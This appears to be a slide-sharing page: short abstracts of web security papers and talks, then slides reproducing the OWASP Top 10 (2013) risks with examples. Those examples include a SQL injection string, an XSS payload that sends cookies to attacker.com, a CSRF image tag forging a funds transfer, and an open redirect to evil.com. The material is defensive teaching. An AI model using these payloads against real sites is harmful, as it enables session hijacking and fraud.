Study of Web Application Attacks & Their Countermeasuresidescitation
Web application security is among the hottest issue
in present web scenario due to increasing use of web
applications for e-business environment. Web application has
become the easiest way to provide wide range of services to
users. Due to transfer of confidential data during these services
web application are more vulnerable to attacks. Web
application attack occurs because of lack of security awareness
and poor programming skills. According to Imperva web
application attack report [1] websites are probe once every
two minutes and this has been increased to ten attacks per
second in year 2012. In this paper we have presented most
common and dangerous web application attacks and their
countermeasures.

Top Ten Proactive Web Security Controls v5Jim Manico
It is not easy to build a secure, low-risk or risk-managed web application. Firewalls, “policy” and other traditional information security measures serve as either an incomplete or useless measure in the pursuit of web application security.
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game.
This document was written by developers for developers, to assist those new to secure development. It aims to guide developers and other software development professionals down the path of secure web application software development.
This document is neither scientific nor complete. In fact it is a bit misguided. There are more than 10 issues that developers need to be aware of. Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.

I'll then discuss some ideas for the future, such as evaluating trends to identify suspicious activity and understanding human tendencies and behavior to help provide a better, more secure user experience.
Did you know remote and local file inclusion (RFI/LFI) was among the four most prevalent Web application attacks in 2011? Why is RFI/LFI so attractive to hackers? Quite simply, with RFI/LFI a hacker can take over a Web server. RFI and LFI attacks primarily affect Web applications written in the PHP programming language. PHP is the most popular server-side programming language. In fact, PHP is used by 77.2% of today’s Web sites. This presentation looks at how hackers use RFI/LFI and avoid traditional detection techniques.
This document discusses local file inclusion (LFI) vulnerabilities that can allow attackers to execute remote code. It explains how LFI works by dynamically including user-supplied files, and how attackers can use path traversal and null bytes to read arbitrary local files. It then describes how attackers can use LFI to execute reverse shells on the target server by including a PHP script that opens a remote connection. The document provides examples of vulnerable PHP functions and common files that can be read. It concludes by recommending input validation and whitelisting of allowed files to defend against LFI attacks.

It covers the OWASP top 10 list of risks and provides examples to illustrate injection attacks, cross-site scripting bugs, and how vulnerabilities can be prevented through practices like input validation, output encoding, and using vulnerability scanners. The goal is to both prevent vulnerabilities and implement detection mechanisms for web applications.
SQL injection is a type of attack where malicious code is inserted into an SQL statement via user input to manipulate a database. This can be used to access sensitive data, modify or delete records, or execute system commands. For example, a malicious user could exploit a login form that constructs SQL statements directly from user input to drop the users table by entering a crafted username containing SQL code. Proper input sanitization and using parameterized queries can prevent SQL injection.
The document discusses the OWASP Top 10, which outlines the most critical web application security risks. It covers:
1) Injection flaws such as SQL injection that can expose applications to unauthorized data access.
2) Issues with authentication and session management that can compromise passwords or tokens.
3) Cross-site scripting vulnerabilities that allow attackers to hijack user sessions or redirect users maliciously.
4) Insecure direct object references that expose internal data without access controls.
Web attacks made up 35% of all breaches in 2013, followed by cyber-espionage at 22% and POS intrusions at 14%. Security measures are necessary to protect data from common attack vectors like SQL injection, cross-site scripting, and remote file inclusion. Popular attack vectors exploit vulnerabilities like injection flaws, broken authentication, sensitive data exposure, and unvalidated requests.

4. Why security is important?
• Nonsecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure.
• The difficulty of achieving application security increases exponentially.
Attackers can potentially use many different paths through your application to do harm to your business or organization.
Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.
Sometimes, these paths are trivial to find and exploit and sometimes they are extremely difficult. Similarly, the harm that is
caused may be of no consequence, or it may put you out of business.
To determine the risk to your organization, you can evaluate the likelihood associated with each threat agent, attack vector,
and security weakness and combine it with an estimate of the technical and business impact to your organization.
For each of these risks, we provide generic information about likelihood and technical impact using the following simple
ratings scheme, which is based on the OWASP Risk Rating Methodology.
5. Top 10 Application Security Risks
А1 Injection
Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an
interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into
executing unintended commands or accessing data without proper authorization.
If the attacker modifies the ‘id’ parameter value in her browser to send: ' or '1'='1.
For example: http://example.com/app/accountView?id=' or '1'='1
This changes the meaning of both queries to return all the records from the accounts table.
More dangerous attacks could modify data or even invoke stored procedures.
6. Top 10 Application Security Risks
А2 Broken Authentication and Session Management
Application functions related to authentication and session management are often not
implemented correctly, allowing attackers to compromise passwords, keys, or session
tokens, or to exploit other implementation flaws to assume other users’ identities.
Airline reservations application supports URL rewriting, putting session IDs in the URL:
http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
An authenticated user of the site wants to let his friends know about the sale. He e-mails the
above link without knowing he is also giving away his session ID. When his friends use the
link they will use his session and credit card.
7. Top 10 Application Security Risks
А3 Cross-Site Scripting (XSS)
XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper
validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user
sessions, deface web sites, or redirect the user to malicious sites.
The application uses untrusted data in the construction of the following HTML snippet without validation or
escaping:
(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";
The attacker modifies the ‘CC’ parameter in his browser to:
'><script>document.location=http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the
user’s current session.
8. Top 10 Application Security Risks
А4 Insecure Direct Object References
A direct object reference occurs when a developer exposes a reference to an internal
implementation object, such as a file, directory, or database key. Without an access control
check or other protection, attackers can manipulate these references to access
unauthorized data.
The application uses unverified data in a SQL call that is accessing account information:
String query = "SELECT * FROM accts WHERE account = ?";PreparedStatement pstmt
=connection.prepareStatement(query , … );pstmt.setString( 1, request.getParameter("acct"));ResultSet results =
pstmt.executeQuery( );
The attacker simply modifies the ‘acct’ parameter in her browser to send whatever account number she wants. If not
properly verified, the attacker can access any user’s account, instead of only the intended customer’s account.
http://example.com/app/accountInfo?acct=notmyacct
9. Top 10 Application Security Risks
А5 Security Misconfiguration
Good security requires having a secure configuration defined and deployed for the
application, frameworks, application server, web server, database server, and platform.
Secure settings should be defined, implemented, and maintained, as defaults are often
insecure. Additionally, software should be kept up to date.
The app server admin console is automatically installed and not removed. Default
accounts aren’t changed. Attacker discovers the standard admin pages are on your server,
logs in with default passwords, and takes over.
10. Top 10 Application Security Risks
А6 Sensitive Data Exposure
Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and
authentication credentials. Attackers may steal or modify such weakly protected data to conduct
credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as
encryption at rest or in transit, as well as special precautions when exchanged with the browser.
An application encrypts credit card numbers in a database using automatic database
encryption. However, this means it also decrypts this data automatically when retrieved,
allowing an SQL injection flaw to retrieve credit card numbers in clear text.
The system should have encrypted the credit card numbers using a public key, and only
allowed back-end applications to decrypt them with the private key
11. Top 10 Application Security Risks
А7 Missing Function Level Access Control
Most web applications verify function level access rights before making that functionality
visible in the UI. However, applications need to perform the same access control checks on
the server when each function is accessed. If requests are not verified, attackers will be
able to forge requests in order to access functionality without proper authorization.
A page provides an ‘action‘ parameter to specify the function being invoked, and
different actions require different roles. If these roles aren’t enforced, that’s a flaw.
12. Top 10 Application Security Risks
А8 Cross-Site Request Forgery (CSRF)
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the
victim’s session cookie and any other automatically included authentication information, to a
vulnerable web application. This allows the attacker to force the victim’s browser to generate
requests the vulnerable application thinks are legitimate requests from the victim.
The application allows a user to submit a state changing request that does not include anything secret.
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
So, the attacker constructs a request that will transfer money from the victim’s account to the attacker’s
account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s
control:
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“width="0" height="0" />
If the victim visits any of the attacker’s sites while already authenticated to example.com, these forged requests
will automatically include the user’s session info, authorizing the attacker’s request.
13. Top 10 Application Security Risks
А9 Using Components with Known Vulnerabilities
Components, such as libraries, frameworks, and other software modules, almost always run with full
privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or
server takeover. Applications using components with known vulnerabilities may undermine
application defenses and enable a range of possible attacks and impacts.
• Apache CXF Authentication Bypass – By failing to provide an identity token, attackers could invoke
any web service with full permission. (Apache CXF is a services framework, not to be confused with
the Apache Application Server.)
• Spring Remote Code Execution – Abuse of the Expression Language implementation in Spring
allowed attackers to execute arbitrary code, effectively taking over the server.
14. Top 10 Application Security Risks
А10 Unvalidated Redirects and Forwards
Web applications frequently redirect and forward users to other pages and websites, and use
untrusted data to determine the destination pages. Without proper validation, attackers can
redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
The application has a page called “redirect.jsp” which takes a single parameter named “url”.
The attacker crafts a malicious URL that redirects users to a malicious site that performs
phishing and installs malware. http://www.example.com/redirect.jsp?url=evil.com
15. Summary
The following table presents a summary of the 2013 Top 10 Application Security Risks, and
the risk factors assigned to each risk. These factors were determined based on the available
statistics and the experience of the OWASP Top 10 team.
To understand these risks for a particular application or organization, you must consider
your own specific threat agents and business impacts.
